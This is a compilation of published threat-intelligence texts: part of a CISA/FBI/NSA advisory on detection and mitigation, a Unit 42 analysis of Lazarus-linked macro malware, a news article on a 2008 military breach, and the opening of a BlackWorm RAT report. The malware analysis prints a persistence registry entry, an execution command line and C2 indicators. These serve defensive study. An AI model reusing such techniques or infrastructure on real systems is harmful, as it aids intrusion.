Look for one IP used for multiple accounts, excluding expected logins.
Look for impossible travel.
Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins).
Note: implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.
Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the ntds.dit file from a domain controller.
Look for suspicious privileged account use after resetting passwords or applying user account mitigations.
https://collaborate.mitre.org/attackics/index.php/Main_Page https://collaborate.mitre.org/attackics/index.php/Group/G0007 https://collaborate.mitre.org/attackics/index.php/software/S0004 https://collaborate.mitre.org/attackics/index.php/software/S0001 https://collaborate.mitre.org/attackics/index.php/software/S0016 https://collaborate.mitre.org/attackics/index.php/software/S0006 https://us-cert.cisa.gov/ncas/alerts/aa21-008a https://us-cert.cisa.gov/ncas/alerts/aa21-008a CISA  FBI  NSA  TLP:WHITE Page 7 of 12    Product ID: AA22-011A TLP:WHITE Look for unusual activity in typically dormant accounts.
Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
For organizations with OT/ICS systems: o Take note of unexpected equipment behavior for example, unexpected reboots of digital controllers and other OT hardware and software.
o Record delays or disruptions in communication with field equipment or other OT devices.
Determine if system parts or components are lagging or unresponsive.
INCIDENT RESPONSE Organizations detecting potential APT activity in their IT or OT networks should: 1.
Immediately isolate affected systems.
2.
Secure backups.
Ensure your backup data is offline and secure.
If possible, scan your backup data with an antivirus program to ensure it is free of malware.
3.
Collect and review relevant logs, data, and artifacts.
4.
Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
5.
Report incidents to CISA and/or the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov.
Note: for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access toor control ofthe IT and/or OT environment.
Refer to the Mitigations section for more information.
See the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for guidance on hunting or investigating a network, and for common mistakes in incident handling.
CISA, the FBI, and NSA encourage critical infrastructure owners and operators to see CISAs Federal Government Cybersecurity Incident and Vulnerability Response Playbooks.
Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response.
Note: organizations should document incident response procedures in a cyber incident response plan, which organizations should create and exercise (as noted in the Mitigations section).
https://www.cisa.gov/uscert/report http://www.fbi.gov/contact-us/field mailto:CyWatchfbi.gov https://us-cert.cisa.gov/ncas/alerts/aa20-245a https://cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf https://cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf CISA  FBI  NSA  TLP:WHITE Page 8 of 12    Product ID: AA22-011A TLP:WHITE MITIGATIONS CISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.
Be Prepared Confirm Reporting Processes and Minimize Coverage Gaps Develop internal contact lists.
Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.
Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident.
Malicious cyber actors are known to target organizations on weekends and holidays when there are gaps in organizational cybersecuritycritical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.
Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior.
Flag any identified IOCs and TTPs for immediate response.
(
See table 1 for commonly observed TTPs).
Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan Create, maintain, and exercise a cyber incident response and continuity of operations plan.
Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner.
Key questions: o Do personnel have the access they need?
o Do they know the processes?
For OT assets/networks, o Identify a resilience plan that addresses how to operate if you lose access toor control ofthe IT and/or OT environment.
Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes.
Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident.
Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.
o Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.
o Implement data backup procedures on both the IT and OT networks.
Backup procedures should be conducted on a frequent, regular basis.
Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.
https://us-cert.cisa.gov/ncas/alerts/aa21-243a https://us-cert.cisa.gov/ncas/alerts/aa21-243a CISA  FBI  NSA  TLP:WHITE Page 9 of 12    Product ID: AA22-011A TLP:WHITE o In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment.
This can enable more efficient recovery following an incident.
Enhance your Organizations Cyber Posture CISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.
Identity and Access Management Require multi-factor authentication for all users, without exception.
Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.
Secure credentials.
Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials.
o Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.
o Disable the storage of clear text passwords in LSASS memory.
o Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.
o Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information).
For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
o Minimize the Active Directory attack surface to reduce malicious ticket-granting activity.
Malicious activity such as Kerberoasting takes advantage of Kerberos TGS and can be used to obtain hashed credentials that attackers attempt to crack.
Set a strong password policy for service accounts.
Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity.
o Secure accounts.
o Enforce the principle of least privilege.
Administrator accounts should have the minimum permission they need to do their tasks.
o Ensure there are unique and distinct administrative accounts for each set of administrative tasks.
o Create non-privileged accounts for privileged users and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).
Protective Controls and Architecture Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware.
Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool.
EDR tools are particularly https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage https://www.us-cert.cisa.gov/ncas/tips/ST04-002 CISA  FBI  NSA  TLP:WHITE Page 10 of 12    Product ID: AA22-011A TLP:WHITE useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
Enable strong spam filters.
o Enable strong spam filters to prevent phishing emails from reaching end users.
o Filter emails containing executable files to prevent them from reaching end users.
o Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.
Note: CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality.
Network segmentation can help prevent lateral movement by controlling traffic flows betweenand access tovarious subnetworks.
Appropriately implement network segmentation between IT and OT networks.
Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised.
Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.
Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity.
Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones.
Prohibit ICS protocols from traversing the IT network.
Vulnerability and Configuration Management Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner.
Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
o Consider using a centralized patch management system.
For OT networks, use a risk- based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.
o Consider signing up for CISAs cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats.
CISAs vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.
Use industry recommended antivirus programs.
o Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.
o Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
Implement rigorous configuration management programs.
Ensure the programs can track and mitigate emerging threats.
Review system configurations for misconfigurations and security weaknesses.
https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/cyber-hygiene-services CISA  FBI  NSA  TLP:WHITE Page 11 of 12    Product ID: AA22-011A TLP:WHITE Disable all unnecessary ports and protocols o Review network security device logs and determine whether to shut off unnecessary ports and protocols.
Monitor common ports and protocols for command and control activity.
o Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.
Ensure OT hardware is in read-only mode.
Increase Organizational Vigilance Regularly review reporting on this threat.
Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.
RESOURCES For more information on Russian state-sponsored malicious cyber activity, refer to cisa.gov/Russia.
Refer to CISA Analysis Report Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services for steps for guidance on strengthening your organizations cloud security practices.
Leaders of small businesses and small and local government agencies should see CISAs Cyber Essentials for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.
Critical infrastructure owners and operators with OT/ICS networks, should review the following resources for additional information: o NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems o CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.
REWARDS FOR JUSTICE PROGRAM If you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of States Rewards for Justice Program.
You may be eligible for a reward of up to 10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA).
Contact 1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web.
For more details refer to rewardsforjustice.net/malicious_cyber_activity.
https://us-cert.cisa.gov/mailing-lists-and-feeds https://www.us-cert.cisa.gov/russia https://us-cert.cisa.gov/ncas/analysis-reports/ar21-013a https://us-cert.cisa.gov/ncas/analysis-reports/ar21-013a https://www.cisa.gov/cyber-essentials https://www.cisa.gov/cyber-essentials https://us-cert.cisa.gov/ncas/alerts/aa20-205a https://us-cert.cisa.gov/ncas/alerts/aa20-205a https://www.cisa.gov/sites/default/files/publications/CISA_Fact_Sheet-Rising_Ransomware_Threat_to_OT_Assets_508C.pdf https://www.rewardsforjustice.net/malicious_cyber_activity.html CISA  FBI  NSA  TLP:WHITE Page 12 of 12    Product ID: AA22-011A TLP:WHITE CAVEATS The information you have accessed or received is being provided as is for informational purposes only.
CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis.
Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA.
REFERENCES [1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors Summary Technical Details Detection Incident Response Mitigations Be Prepared Confirm Reporting Processes and Minimize Coverage Gaps Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan Enhance your Organizations Cyber Posture Identity and Access Management Protective Controls and Architecture Vulnerability and Configuration Management Increase Organizational Vigilance Resources Rewards for Justice Program caveats References
By Anthony Kasza and Micah Yates 4/7/2017 The Blockbuster Sequel researchcenter.paloaltonetworks.com /2017/04/unit42-the-blockbuster-sequel/ Unit 42 has identified malware with recent compilation and distribution timestamps that has code, infrastructure, and themes overlapping with threats described previously in the Operation Blockbuster report, written by researchers at Novetta.
This report details the activities from a group they named Lazarus, their tools, and the techniques they use to infiltrate computer networks.
The Lazarus group is tied to the 2014 attack on Sony Pictures Entertainment and the 2013 DarkSeoul attacks.
This recently identified activity is targeting Korean speaking individuals, while the threat actors behind the attack likely speak both Korean and English.
This blog will detail the recently discovered samples, their functionality, and their ties to the threat group behind Operation Blockbuster.
Initial Discovery and Delivery This investigation began when we identified two malicious Word document files in AutoFocus threat intelligence tool.
While we cannot be certain how the documents were sent to the targets, phishing emails are highly likely.
One of the malicious files was submitted to VirusTotal on 6 March 2017 with the file name .doc.
Once opened, both files display the same Korean language decoy document which appears to be the benign file located online at www.kuipernet.co.kr/sub/kuipernet-setup.docx.
1/12 http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/ http://www.novetta.com/2016/02/operation-blockbuster-unraveling-the-long-thread-of-the-sony-attack/ http://fortune.com/sony-hack-part-1/ https://www.scmagazine.com/south-korean-corporations-hit-by-widespread-attack-that-wiped-data-and-shut-down-systems/article/543718/ http://go.paloaltonetworks.com/ignite2017 Figure 1 Dropped decoy document This file (Figure 1) appears to be a request form used by the organization.
Decoy documents are used by attackers who want to trick victims into thinking a received file is legitimate.
At the moment, the malware infects the computer, it opens a non-malicious file that contains content the target expected to receive (Figure 2.)
This serves to fool the victim into thinking nothing suspicious has occurred.
2/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_1.png Figure 2 Spear Phishing Attack uses a decoy a file to trick the target When these malicious files are opened by a victim, malicious Visual Basic for Applications (VBA) macros within them write an executable to disk and run it.
If macros are disabled in Microsoft Word, the user must click the Enable Content button for malicious VBA script to execute.
Both documents make use of logic and variable names within their macros, which are very similar to each other.
Specifically, they both contain strings of hex that when reassembled and XOR-decoded reveal a PE file.
The PE file is written to disk with a filename that is encoded in the macro using character substitution.
Figure 3 shows part of the logic within the macros which is identical in both files.
3/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_2.png Figure 3 Malicious document malicious macro source code The Embedded Payload The executable which is dropped by both malicious documents is packed with UPX.
Once unpacked, the payload (032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) can be statically examined.
The compile timestamp of the sample is March 2nd, 2017, just a few days before one of the documents carrying the implant was submitted to VirusTotal.
The payload ensures a copy of itself is located on disk within the TEMP directory and creates the following registry entry to maintain persistence if the system is shutdown 1 2 HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\JavaUpdate , Value:TEMP\java.exe /c /s It then executes itself with the following command line: 1 TEMP\java.exe /c TEMP\java.exe The implant beacons to its command and control (C2) servers directly via the servers IPv4 addresses, which are hard coded in the binary, no domain name is used to locate the servers.
The communications between the implant and the server highly resemble the fake TLS protocol associated with malware tools used by the Lazarus group and described in the Operation Blockbuster report.
However, the possible values of the Server Name Indication (SNI) record within the CLIENT HELLO of the TLS handshake used by the implant differ from those described in the 4/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_3.png https://upx.github.io/ https://en.wikipedia.org/wiki/Server_Name_Indication report.
The names embedded in the new sample and chosen for communications include: twitter.com www.amazon.com www.apple.com www.bing.com www.facebook.com www.microsoft.com www.yahoo.com www.join.me The C2 servers contacted by the implant mimic the expected TLS server responses from the requested SNI field domain name, including certificate fields such as the issuer and subject.
However, the certificates validity, serial number, and fingerprint are different.
Figure 4 shows a fake TLS session which includes the SNI record www.join.me destined for an IPv4 address which does not belong to Join.
Me.
Figure 4 The use of www.join.me as an SNI record of a TLS handshake to an IPv4 address which does not host that domain name Expanding the Analysis Because the attackers reused similar logic and variable names in their macros, we were able to locate additional malicious document samples.
Due to the heavy reuse of code in the macros we also speculate the documents are created using an automated process or script.
Our analysis of the additional malicious documents showed some common traits across the documents used by the attackers: 1.
Many, but not all, of the documents have the same author 2.
Malicious documents support the ability to drop a payload as well as an optional decoy document 3.
XOR keys used to encode embedded files within the macros seem to be configurable 4.
All of the dropped payloads were compressed with a packer (the packer used varied) Multiple testing documents which dropped and executed the Korean version of the Microsoft calc.exe executable, but contained no malicious code, were also identified.
This mirrors a common practice in demonstrating exploits of vulnerabilities.
Interestingly enough, all of the test documents identified were submitted to VirusTotal with English file names from submitters located in the United States (although not during US working hours).
Despite the documents having Korean code pages, when executed they open decoy documents with the English text: testteststeawetwetwqetqwetqwetqw.
These facts lead us to believe at least some of the developers or testers of the document weaponizing tool may be English speakers.
While some of the documents identified carry benign payloads, most of the payloads were found to be malicious.
A cluster of three malicious documents were identified that drop payloads which are related via C2 domains.
The payloads can be seen highlighted in Figure 5.
5/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_4.png Figure 5 Related executables, their C2 domain names, their dropper documents, and the shared batch file The two malicious payloads circled in Figure 5 write a batch script to disk that is used for deleting the sample and itself, which is a common practice.
The batch script dropped by the two payloads share a file name, file path, and hash value with a script sample (77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976).
This sample is described in a 2016 research report by Blue Coat discussing connections between the DarkSeoul group and the Sony breach of 2014.
The scripts (Figure 6) hash value will vary depending on the name of the file it is to delete.
It also includes an uncommon label inside it of L21024.
The file the script deletes is the payload which writes the script to disk.
In the case of Figure 6, the payload was named thing.exe.
Figure 6 The contents of the shared batch script Ties to Previous Attacks In addition to the commonalities already identified in the communication protocols and the shared cleanup batch script use by implants, the payloads also share code similarities with samples detailed in Operation Blockbuster.
This is demonstrated by analyzing the following three samples, which behave in similar ways: 6/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_5.png https://www.bluecoat.com/security-blog/2016-02-24/seoul-sony http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_6.png 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 We used these three samples to reach the conclusion that the samples investigated are tied to the Lazarus group.
First, these three samples all use a unique method of executing a shell command on the system.
An assembly function is passed four strings.
Some of the strings contain placeholders.
The function interpolates the strings and creates a system command to be executed.
The following four parameters are passed to the function: PM, xe / md cs.esc \ s  s 21\ These are used not only in the implant we investigated, but also in the two samples above.
Additionally, many samples discussed in the Operation Blockbuster report also made use of this technique.
Figure 7 shows the assembly from the unpacked implant (032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) delivered by our malicious document and shows the string interpolation function being used.
7/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_7.png Figure 7 The string interpolation function assembly with library names from 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 Figure 8 shows the same string interpolation logic but within a different sample (79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18.)
The instructions are the same except where the system calls are replaced with DWORDs which brings us to a second similarity.
Figure 8 The string interpolation function assembly without library names from 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 The second similarity ties this sample to a known Lazarus group sample (520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18.)
Upon execution, both samples set aside memory to be used as function pointers.
These pointers are assigned values by a dedicated function in the binary.
Other functions in the binary call the function pointers instead of the system libraries directly.
The motivation for the use of this indirection is unclear, however, it provides an identifying detection mechanism.
These two samples resolve system library functions in a similar yet slightly different manner.
The sample known to belong to the Lazarus group uses this indirect library calling in addition to a function that further obfuscates the functions names using a lookup table within a character substitution function.
This character substitution aspect was removed in the newer samples.
The purpose for removing this functionality between the original Operation Blockbuster report samples and these newer ones is unclear.
Figure 9 displays how this character substitution function was called within the Lazarus group sample.
8/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_8.png Figure 9 The character substitution function from 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 being called SHA256 Hash String Interpolation Function System Library Obfuscation Fake TLS Communications Label 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 Yes No Yes Initially identified payload 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 Yes Yes Yes Sample identified to be related to initial payload and Operation Blockbuster sample 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 Yes Yes Yes Known Operation Blockbuster sample Figure 10: A comparison of features between samples Final Thought Overlaps in network protocols, library name obfuscation, process creation string interpolation, and dropped batch file contents demonstrate a clear connection between the recent activity Unit 42 has identified and previously reported threat campaigns.
Demonstrated by the malicious document contents, the targets of this new activity are likely Korean speakers, while the attackers are likely English and Korean speakers.
It is unlikely these threat actors will stop attacking their targets.
Given the slight changes that have occurred within samples between reports, it is likely this group will continue to develop their tools and skillsets.
9/12 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/04/Blockbuster_9.png Customers using WildFire are protected from these threats and customers using AutoFocus can find samples from this campaign tagged as Blockbuster Sequel.
Indicators of Compromise Initial Malicious Documents cec26d8629c5f223a120677a5c7fbd8d477f9a1b963f19d3f1195a7f94bc194b ff58189452668d8c2829a0e9ba8a98a34482c4f2c5c363dc0671700ba58b7bee Initial Payload 1322b5642e19586383e663613188b0cead91f30a0ab1004bf06f10d8b15daf65 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 (unpacked) Testing Malicious Documents 90e74b5d762fa00fff851d2f3fad8dc3266bfca81d307eeb749cce66a7dcf3e1 09fc4219169ce7aac5e408c7f5c7bfde10df6e48868d7b470dc7ce41ee360723 d1e4d51024b0e25cfac56b1268e1de2f98f86225bbad913345806ff089508080 040d20357cbb9e950a3dd0b0e5c3260b96b7d3a9dfe15ad3331c98835caa8c63 dfc420190ef535cbabf63436e905954d6d3a9ddb65e57665ae8e99fa3e767316 f21290968b51b11516e7a86e301148e3b4af7bc2a8b3afe36bc5021086d1fab2 1491896d42eb975400958b2c575522d2d73ffa3eb8bdd3eb5af1c666a66aeb08 31e8a920822ee2a273eb91ec59f5e93ac024d3d7ee794fa6e0e68137734e0443 49ecead98ebc750cf0e1c48fccf5c4b07fadef653be034cdcdcd7ba654f713af 5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb 600ddacdf16559135f6e581d41b30d0867aae313fbaf66eb4d18345b2136cdd7 6ccb8a10e253cddd8d4c4b85d19bbb288b56b8174a3f1f2fe1f9151732e1a7da 8b2c44c4b4dc3d7cf1b71bd6fcc37898dcd9573fcf3cb8159add6cb9cfc9651b 9e71d0fdb9874049f310a6ab118ba2559fc1c491ed93c3fd6f250c780e61b6ff Additional Related Samples 02d74124957b6de4b087a7d12efa01c43558bf6bdaccef9926a022bcffcdcfea 0c5cdbf6f043780dc5fff4b7a977a1874457cc125b4d1da70808bfa720022477 18579d1cc9810ca0b5230e8671a16f9e65b9c9cdd268db6c3535940c30b12f9e 19b23f169606bd390581afe1b27c2c8659d736cbfa4c3e58ed83a287049522f6 1efffd64f2215e2b574b9f8892bbb3ab6e0f98cf0684e479f1a67f0f521ec0fe 440dd79e8e5906f0a73b80bf0dc58f186cb289b4edb9e5bc4922d4e197bce10c 446ce29f6df3ac2692773e0a9b2a973d0013e059543c858554ac8200ba1d09cf 557c63737bf6752eba32bd688eb046c174e53140950e0d91ea609e7f42c80062 5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb 10/12 https://autofocus.paloaltonetworks.com//tag/Unit42.BlockBuster_Sequel 644c01322628adf8574d69afe25c4eb2cdc0bfa400e689645c2ab80becbacc33 6a34f4ce012e52f5f94c1a163111df8b1c5b96c8dc0836ba600c2da84059c6ad 77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 8085dae410e54bc0e9f962edc92fa8245a8a65d27b0d06292739458ce59c6ba1 8b21e36aa81ace60c797ac8299c8a80f366cb0f3c703465a2b9a6dbf3e65861e 9c6a23e6662659b3dee96234e51f711dd493aaba93ce132111c56164ad02cf5e d843f31a1fb62ee49939940bf5a998472a9f92b23336affa7bccfa836fe299f5 dcea917093643bc536191ff70013cb27a0519c07952fbf626b4cc5f3feee2212 dd8c3824c8ffdbf1e16da8cee43da01d43f91ee3cc90a38f50a6cc8d6a778b57 efa2a0bbb69e60337b783db326b62c820b81325d39fb4761c9b575668411e12c f365a042fbf57ed2fe3fd75b588c46ae358c14441905df1446e67d348bd902bf f618245e69695f6e985168f5e307fd6dc7e848832bf01c529818cbcfa4089e4a fa45603334dae86cc72e356df9aa5e21151bb09ffabf86b8dbf5bf42bd2bbadf fc19a42c423aefb5fdb19b50db52f84e1cbd20af6530e7c7b39435c4c7248cc7 ff4581d0c73bd526efdd6384bc1fb44b856120bc6bbf0098a1fa0de3efff900d C2 Domains daedong.or[.
]kr kcnp.or[.
]kr kosic.or[.
]kr wstore[.
]lt xkclub[.
]hk C2 IPv4 Addresses 103.224.82[.
]154 180.67.205[.
]101 182.70.113[.
]138 193.189.144[.
]145 199.26.11[.
]17 209.105.242[.
]64 211.233.13[.
]11 211.233.13[.
]62 211.236.42[.
]52 211.49.171[.
]243 218.103.37[.
]22 221.138.17[.
]152 221.161.82[.
]208 11/12 23.115.75[.
]188 61.100.180[.
]9 61.78.63[.
]95 80.153.49[.
]82 12/12 The Blockbuster Sequel Initial Discovery and Delivery The Embedded Payload Expanding the Analysis Ties to Previous Attacks Final Thought Indicators of Compromise
Defense official discloses cyberattack washingtonpost.com /wp-dyn/content/article/2010/08/24/AR2010082406495.html Now it is official: The most significant breach of U.S. military computers was caused by a flash drive inserted into a U.S. military laptop on a post in the Middle East in 2008.
In an article to be published Wednesday discussing the Pentagons cyberstrategy, Deputy Defense Secretary William J. Lynn III says malicious code placed on the drive by a foreign intelligence agency uploaded itself onto a network run by the U.S. militarys Central Command.
That code spread undetected on both classified and unclassified systems, establishing what amounted to a digital beachhead, from which data could be transferred to servers under foreign control, he says in the Foreign Affairs article.
It was a network administrators worst fear: a rogue program operating silently, poised to deliver operational plans into the hands of an unknown adversary.
Lynns decision to declassify an incident that Defense officials had kept secret reflects the Pentagons desire to raise congressional and public concern over the threats facing U.S. computer systems, experts said.
Much of what Lynn writes in Foreign Affairs has been said before: that the Pentagons 15,000 networks and 7 million computing devices are being probed thousands of times daily that cyberwar is asymmetric and that traditional Cold War deterrence models of assured retaliation do not apply to cyberspace, where it is difficult to identify the instigator of an attack.
But he also presents new details about the Defense Departments cyberstrategy, including the development of ways to find intruders inside the network.
That is part of what is called active defense.
He puts the Homeland Security Department on notice that although it has the lead in protecting the dot.gov and dot.com domains, the Pentagon - which includes the ultra-secret National Security Agency - should support efforts to protect critical industry networks.
Lynns declassification of the 2008 incident has prompted concern among cyberexperts that he gave adversaries useful information.
The Foreign Affairs article, Pentagon officials said, is the first on-the-record disclosure that a foreign intelligence agency had penetrated the U.S. militarys classified systems.
In 2008, the Los Angeles Times reported, citing anonymous Defense officials, that the incursion might have originated in Russia.
The Pentagon operation to counter the attack, known as Operation Buckshot Yankee, marked a turning point in U.S. cyberdefense strategy, Lynn said.
In November 2008, the Defense Department banned the use of flash drives, a ban it has since modified.
Infiltrating the militarys command and control system is significant, said one former intelligence official who spoke on the condition of anonymity because of the sensitivity of the matter.
This is how we order people to go to war.
If youre on the inside, you can change orders.
You can say, turn left instead of turn right.
You can say go up instead of go down.
In a nutshell, he said, the Pentagon has begun to recognize its vulnerability and is making a case for how youve got to deal with it.
1/1 http://www.washingtonpost.com/wp-dyn/content/article/2010/08/24/AR2010082406495.html?tida_inl http://www.washingtonpost.com/wp-srv/world/countries/russia.html?navel Defense official discloses cyberattack
Connecting the Dots: Syrian Malware Team Uses BlackWorm for Attacks The Syrian Electronic Army has made news for its recent attacks on major communications websites, Forbes, and an alleged attack on CENTCOM.
While these attacks garnered public attention, the activities of another group  The Syrian Malware Team  have gone largely unnoticed.
The groups activities prompted us to take a closer look.
We discovered this group using a .NET based RAT called BlackWorm to infiltrate their targets.
The Syrian Malware Team is largely pro-Syrian government, as seen in one of their banners featuring Syrian President Bashar al-Assad.
Based on the sentiments publicly expressed by this group it is likely that they are either directly or indirectly involved with the Syrian government.
Further certain members of the Syrian Malware Team have ties to the Syrian Electronic army (SEA) known to be linked to the Syrian government.
This indicates that the Syrian Malware Team may also be possibly an offshoot or part of the SEA.
Banner used by the Syrian Malware Team BlackWorm Authorship We found at least two distinct versions of the BlackWorm tool, including an original/private version (v0.3.0) and the Dark Edition (v2.1).
The original BlackWorm builder was co-authored by Naser Al Mutairi from Kuwait, better known by his online moniker njq8.
He is also known to have coded njw0rm, njRAT/LV, and earlier versions of H-worm/Houdini.
We found his code being used in a slew of other RATs such as Fallaga and Spygate.
BlackWorm v0.3.0 was also co-authored by another actor, Black Mafia.
